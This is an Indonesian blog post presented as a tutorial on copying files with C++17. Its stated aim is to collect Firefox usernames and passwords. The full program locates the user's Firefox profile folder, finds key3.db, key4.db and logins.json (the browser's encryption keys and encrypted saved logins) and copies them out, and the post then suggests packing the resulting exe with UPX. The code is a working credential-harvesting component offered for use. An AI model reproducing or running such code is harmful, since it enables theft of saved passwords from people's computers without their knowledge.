Copy file pada Compiler C++17

By | April 12, 2022
584 Views

Belajar C++ dalam management file seperti copy cukup mudah. Kasusnya sebenarnya sangat sederhana yaitu hanya mencari beberapa file pada system operasi sistem windows dan copy file tersebut pada sebuah lokasi yang sudah disiapkan. Untuk urusan mencari file / searching file secara rekursif menggunakan Compiler C++ 17 tentu sangat mudah sekali, karena sudah ada library filesystem.

Tantangan nya yaitu menemukan file tersebut harus secara efektif, karena tidak mungkin mencari ke seluruh file / direktori di C:/, untuk hal tersebut perlu dipersempit areanya. Untungnya di C++ sudah disediakan oleh Windows dengan memanfaatkan API yaitu shgetfolderpath

Spesial Folder pada Windows

Sistem operasi windows mempunyai beragam spesial folder yang biasa digunakan untuk proses install aplikasi, simpan cache juga. Nah di Windows terdapat Apa saja spesial foldernya?

  • C:\Users\User\AppData\Roaming
  • C:\Users\User\AppData\Local\Microsoft\Windows\Burn\Burn
  • C:\ProgramData
  • C:\Users\Public\Desktop
  • C:\Users\Public\Documents
  • C:\Users\Public\Music
  • C:\Users\Public\Pictures
  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs
  • C:\ProgramData\Microsoft\Windows\Start Menu
  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
  • C:\ProgramData\Microsoft\Windows\Templates
  • C:\Users\Public\Videos
  • C:\Users\User\Desktop
  • C:\Users\User\AppData\Local\Microsoft\Windows\INetCache
  • C:\Users\User\AppData\Local
  • C:\Users\User\Documents

API pada windows untuk mendapatkan semua lokasi diatas ditangani oleh header #include <Shlobj.h> Kalian bisa baca pelajari lanjut di

Nah ceritanya adalah saya ingin mengambil semua informasi mengenai password dan username atas sebuah aplikasi firefox, dimana peramban tersebut menyimpan informasi dan kunci enkripsi pada sebuah file berikut

  • key3.db dan key4.db (database berbasis sqlite) yang berisi informasi kunci enkripsi
  • logins.json yang berisi alamat situs, field HTML, dan tentunya username dan password ter enkripsi

file-file diatas tersebut berada di C:\Users\User\AppData\Roaming/Mozilla/Firefox/Profiles/ dan didalam subfolder sesuai proses instalasi setiap komputer berbeda-beda serta juga beda nama user. Tentu untuk mendapatkan lokasi pastinya diperlukan proses searching direktori secara rekursif.  Yuk mari kita buat terlebih dahulu lokasi direktori asalnya dulu

TCHAR szPath[MAX_PATH];
SHGetFolderPath(NULL,
              CSIDL_APPDATA,
              NULL,0,szPath);
 string pencarian_firefox =  lstrcat(szPath,"/Mozilla/Firefox/Profiles/");

 cout<<pencarian_firefox<<endl;

hasilnya lokasi asal direktori yaitu

C:\Users\User\AppData\Roaming/Mozilla/Firefox/Profiles/

Kemudian dengan menggunakan API include <filesystem> yang ada di C++17 sangat mudah digunakan

const fs::path sandbox{pencarian_firefox};
for (const fs::directory_entry & dir_entry : fs::recursive_directory_iterator{sandbox})
{
    cout<<dir_entry<<endl;
}

dengan kode diatas, maka seluruh direktori/sub direktori akan dijelajahi satu-persatu, nah ketika file key4.db dan logins.json ditemukan! maka lakukan copy() berikut kode yang saya gunakan untuk Copy file pada Compiler C++17

#include <iostream>
#include <Shlobj.h> //get document
#include <filesystem> //search direktori
using namespace std;
namespace fs = std::filesystem;
int main()
{
//    TCHAR szPath[MAX_PATH];
//
//    std::array<int, 16> locations = {
//        CSIDL_APPDATA, CSIDL_CDBURN_AREA, CSIDL_COMMON_APPDATA, CSIDL_COMMON_DESKTOPDIRECTORY,
//        CSIDL_COMMON_DOCUMENTS, CSIDL_COMMON_MUSIC, CSIDL_COMMON_PICTURES, CSIDL_COMMON_PROGRAMS,
//        CSIDL_COMMON_STARTMENU, CSIDL_COMMON_STARTUP, CSIDL_COMMON_TEMPLATES, CSIDL_COMMON_VIDEO,
//        CSIDL_DESKTOPDIRECTORY, CSIDL_INTERNET_CACHE, CSIDL_LOCAL_APPDATA, CSIDL_PERSONAL};
//
//    for (auto location : locations)
//    {
//        SHGetFolderPath(NULL,
//                    location | CSIDL_FLAG_CREATE,
//                    NULL,
//                    0,
//                    szPath);
//        cout<<szPath<<endl;
//    }


    TCHAR szPath[MAX_PATH];
   SHGetFolderPath(NULL,
                 CSIDL_APPDATA,
                 NULL,0,szPath);
    string pencarian_firefox =  lstrcat(szPath,"/Mozilla/Firefox/Profiles/");

    cout<<pencarian_firefox<<endl;
    const fs::path sandbox{pencarian_firefox};
    std::string key3 = "key3.db";
    std::string key4 = "key4.db";
    std::string logins = "logins.json";
    std::string tujuan = "data firefox/";
    fs::create_directories(tujuan);
    int i = 0;
    for (const fs::directory_entry & dir_entry : fs::recursive_directory_iterator{sandbox})
    {
        if(i>=3)break;
        cout<<dir_entry<<endl;
        fs::path nama_file = fs::path(dir_entry). filename();
        if(strcmp(nama_file.string().c_str(),key3.c_str())==0){
            std::cout << "lokasinya : "<<dir_entry << '\n';
            fs::copy(dir_entry,tujuan+key3);
            i++;

        }
        if(strcmp(nama_file.string().c_str(),key4.c_str())==0){
            std::cout << "lokasinya : "<<dir_entry << '\n';
            fs::copy(dir_entry,tujuan+key4);
            i++;

        }
        if(strcmp(nama_file.string().c_str(),logins.c_str())==0){
            std::cout << "lokasinya : "<<dir_entry << '\n';
            fs::copy(dir_entry,tujuan+logins);
            i++;

        }
    }

    return 0;
}

Ternyata Copy file pada Compiler C++17 cukup gampang digunakan. Tapi ada sedikit kekurangannya yaitu file *.exe nanti agak bengkak ukuran file nya! yaitu 3 MB ya karena banyak menggunakan API diatas, tapi tenang saja sih kalian bisa menggunakan UPX koq buat kompress file exe nya https://upx.github.io/

See also  Cara membuat dan menghindari KeyLogger

Berikut ketika mencoba UPX untuk mengkompress file exe

PS D:\upx-3.96-win64> .\upx.exe -9 -oFILE ".\Spesial Folder.exe"
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96w       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   3722929 ->   2363057   63.47%    win64/pe     FILE                                                                                                                                                                                           Packed 1 file.

Berkurang menjadi 63.47% saja